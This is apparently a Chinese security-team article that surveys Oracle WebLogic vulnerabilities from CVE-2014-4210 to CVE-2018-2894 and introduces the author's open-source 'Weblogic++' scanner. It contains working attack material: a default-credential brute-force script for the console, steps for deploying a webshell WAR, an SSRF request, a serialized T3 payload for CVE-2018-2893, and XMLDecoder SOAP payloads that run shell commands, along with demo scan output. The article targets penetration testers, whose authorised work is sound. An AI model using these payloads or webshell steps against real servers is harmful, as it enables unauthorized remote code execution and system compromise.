聲明:
本文首發於freebuf TideSec專欄:
https://www.freebuf.com/column/197546.html
本文中所涉及的目標系統均為局域網搭建的測試環境,如IP或URL有雷同純屬巧合。文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則后果自行承擔!
本文首先會為大家梳理幾乎weblogic全部歷史漏洞,在此基礎上開源一個自己寫的小平台,旨在為滲透測試工作者提供一個透明、高效的Weblogic中間件測試思路。
在滲透測試工作中,我們常常會遇到的各種版本的weblogic中間件,我們更多的情況是借助網上各種來源的poc/exp去進行測試,大家手頭也確實積累了一些,例如針對wls模塊,或針對t3協議啦,然而weblogic每年都會翻幾次車,非開源工具的更新進度也一直是個謎,所以筆者希望可以系統性的整理一番,形成一個更加具體透明的測試流程,於是,就有了今天大家看到的文章與工具。
之所以命名為從入門到放棄,只是希望大家可以借助此次給大家開源的小工具,徹底解放自己,讓weblogic漏洞測試可以不在迷茫,徹底杜絕測試發現Java反序列化漏洞卻完全講不出具體為何的尷尬。
__ __ _ _ _
\ \ / /__| |__ | | ___ __ _(_) ___ _ _
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| _| |_ _| |_
\ V V / __/ |_) | | (_) | (_| | | (__ |_ _ _ _|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |_| |_|
|___/
By Tide_RabbitMask | V 1.0
在開始正文前,首先我們簡單提一下weblogic當前比較活躍的幾個較新的版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
…………
按照本平台目錄,給大家梳理一遍Weblogic歷史漏洞:
#控制台路徑泄露
Weakpassword
#SSRF:
CVE-2014-4210
#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
#任意文件上傳
CVE-2018-2894
#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506
控制台路徑泄露
包含模塊:
Weakpassword
相關地址:
http://127.0.0.1:7001/console/login/LoginForm.jsp
控制台
關於控制台,唯一的突破就是弱口令,口令是人自定義的,所以難免會有疏漏出現。檢測平台會檢測默認路徑是否存活,為了整體效率,並未在當前單線程版本加入爆破功能,大家可以借助以下腳本輔助爆破。
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
當然,如果有小伙伴想再次基礎上優化,可以增加路徑枚舉功能,畢竟關於控制台默認路徑的漏洞修復建議是:如果遠程部署功能的確需要,建議修改默認的模塊名稱。
如果一旦成功進入控制台,則我們可以使用weblogic的遠程部署功能上傳webshell。
首先我們需要配置下木馬,借助IDE打成war包:
木馬打war包
如果不習慣Java IDE,可在linux下使用jar命令進行打包:jar cvf ma.war ma/*
jar命令打包
然后借助控制台進行war包的遠程部署:
遠程部署
部署成功
可以通過以下模塊對部署狀態進行二次確認:
http://127.0.0.1:7001/wls-cat/index.jsp?action=summary&app=ma&module=ma.war
確認部署情況
部署完成后可通過項目部署路徑訪問webshell:
http://127.0.0.1:7001/ma/ma.jsp
SSRF:
包含模塊:
CVE-2014-4210
涉及版本:
Version: 10.0.2,10.3.6
相關地址:
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp
uddi
同樣考慮網絡延時的影響,平台只集成簡單的路徑檢測:
def islive(ur,port):
url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/'
r = requests.get(url, headers=headers)
return r.status_code
大家也可以替換成如下payload用於正則匹配校驗,提高准確性:
def ssrf(self):
payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"
req = requests.get(self.url+payload, timeout=10, verify=False)
if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
print("[+] WebLogic ssrf")
正則匹配情況
JAVA反序列化:
包含模塊:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
這一部分內容是weblogic漏洞的重中之重,每一個CVE拿出來都可以單獨成為一篇文章,反倒讓我不知如何分析啦,在此推薦一篇freebuf文章。
相關文章:https://www.freebuf.com/vuls/179579.html
那么給大家補充一點自己的總結吧:
#CVE-2015-4852
Weblogic 直接反序列化
是基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
#CVE-2016-0638
Weblogic 直接反序列化
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
漏洞實為CVE-2015-4852繞過
拜Oracle一直以來的黑名單修復方式所賜
#CVE-2016-3510
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
#CVE-2017-3248
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
屬於Weblogic JRMP反序列化
#CVE-2018-2628
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
屬於 Weblogic JRMP反序列化
#CVE-2018-2893
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
實為CVE-2018-2628繞過
同樣拜Oracle一直以來的黑名單修復方式所賜
屬於Weblogic JRMP反序列化
大家應該也發現了,因為Oracle的黑名單修復策略,這種縫縫補補的故事還會繼續下去。大家可以結合本文開源的平台中收錄的poc對比一下,會發現因為這些poc其實十分相像。無非就是替換了下payload與正則匹配項。絕大部分poc借助tcp協議的socket實現而不是針對具體路徑。
如最新的CVE-2018-2893:
VUL=['CVE-2018-2893']
#payload:
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
#正則匹配規則:
VER_SIG=['StreamMessageImpl']
關於wls-wsat
模塊的漏洞,大家也可以在測試前,通過默認路徑簡單查看路徑是否存在來進行初步判斷。
相關地址:
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
地址截圖
任意文件上傳
包含模塊:
CVE-2018-2894
涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
相關地址:
http://127.0.0.1:7001/ws_utc/config.do
http://127.0.0.1:7001/ws_utc/begin.do
其實該漏洞的出現也確實令人匪夷所思,竟然開放了兩個超高危的未授權上傳界面,原理部分還是推薦一篇文章更權威些,該向大佬低頭的時候絕不含糊。
相關文章:https://www.freebuf.com/vuls/178510.html
順便一提的是,該未授權上傳界面,CNCERT給出危害程度評分高達9.8分。
未授權文件上傳
XMLDecoder反序列化:
包含模塊:
CVE-2017-10271
CVE-2017-3506
涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
相關地址:
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
在上方8個路徑中任意選擇一個路徑,將content-type改成text/xml類型
即content-type:text/xml
,然后改為post方式傳入payload,即可漏洞復現,如果此處為修改類型,則會收到內容為不支持的類型的返回包。
在這里給大家提供兩個payload:
#打開計算器poc,僅供驗證
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
然而,真正遠程測試的時候,我們是無法看到計算器運行的,所以我們略微修改,通過返回包的正則進行判斷漏洞是否存在。
正則匹配規則:\<faultstring\>.*\<\/faultstring\>
#遠程驗證payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
emmmm,避重就輕的給大家梳理了一遍weblogic的歷史漏洞,可能還會有些遺漏,比如CVE-2018-3191,但接下來的版本我會補齊的。那么接下來給大家奉上V1.0版本的Weblogic++,也歡迎各位小伙伴對它進行更多的優化。
項目地址:https://github.com/rabbitmask/WeblogicR
簡單嘟囔兩句:因為套接字的使用,容易受到多種網絡因素的影響,所以我對每一個模塊單獨做了異常處理,對收錄的所有poc進行了接口和參數的統一,調整了多處bug,目前來講,正常的滲透測試工作完全夠用了,可能有兩個poc還沒有調整好,無傷大雅。emmmm,別的,,,tide牛逼!好噠,就這樣~
奉上軟件說明與使用截圖:
軟件作者:Tide_RabbitMask
感謝來自網絡的開源POC,
我只是進行了魔改和接口統一。
免責聲明:Pia!(o ‵-′)ノ”(ノ﹏<。)
本工具僅用於安全測試,請勿用於非法使用,要乖哦~
V 1.0功能介紹:
提供一鍵poc檢測,收錄幾乎全部weblogic歷史漏洞。
詳情如下:
#控制台路徑泄露
Weakpassword
#SSRF:
CVE-2014-4210
#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
#任意文件上傳
CVE-2018-2894
#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506
其中幾個exp功能完美,不忍魔改,
暫且請手動進行測試。
后期多進程版本再考慮exp的自動化。
V1.*功能預告:
多進程並發
修復建議
模塊優化
交互優化
報告生成
軟件使用Demo:
==========================================================
__ __ _ _ _
\ \ / /__| |__ | | ___ __ _(_) ___ _ _
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| _| |_ _| |_
\ V V / __/ |_) | | (_) | (_| | | (__ |_ _ _ _|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |_| |_|
|___/
By Tide_RabbitMask | V 1.0
Welcome To Weblogic++ !!
1、開啟POC檢測
2、開啟EXP利用
3、關於本軟件
1
Please enter the IP:127.0.0.1
Please enter the port:7001
[*]開始控制台路徑檢測
[+]目標weblogic控制台地址暴露!
[+]路徑為:http://127.0.0.1:7001/console/login/LoginForm.jsp
[+]請自行嘗試弱口令爆破!
[*]開始SSRF檢測
[+]目標weblogic存在UDDI組件!
[+]路徑為:http://127.0.0.1:7001/uddiexplorer/
[+]請自行驗證SSRF漏洞!
[*]開始CVE_2015_4852檢測
[*]測試返回內容為:10.3.6.0.false
AS:2048
HL:19
[*]開始CVE_2016_0638檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2016-0638
[*]開始CVE_2016_3510檢測
[-]目標weblogic未檢測到CVE-2016-3510
[*]開始CVE_2017_3248檢測
[-]目標weblogic未檢測到CVE-2017-3248
[*]開始CVE_2017_3506檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2017-3506
[*]開始CVE_2018_2628檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2018-2628
[*]開始CVE_2018_2893檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2018-2893
[*]本次檢測任務結束,目標 127.0.0.1:7001
==========================================================
關注我們
對web安全有興趣的小伙伴可以關注或加入我們,TideSec安全團隊: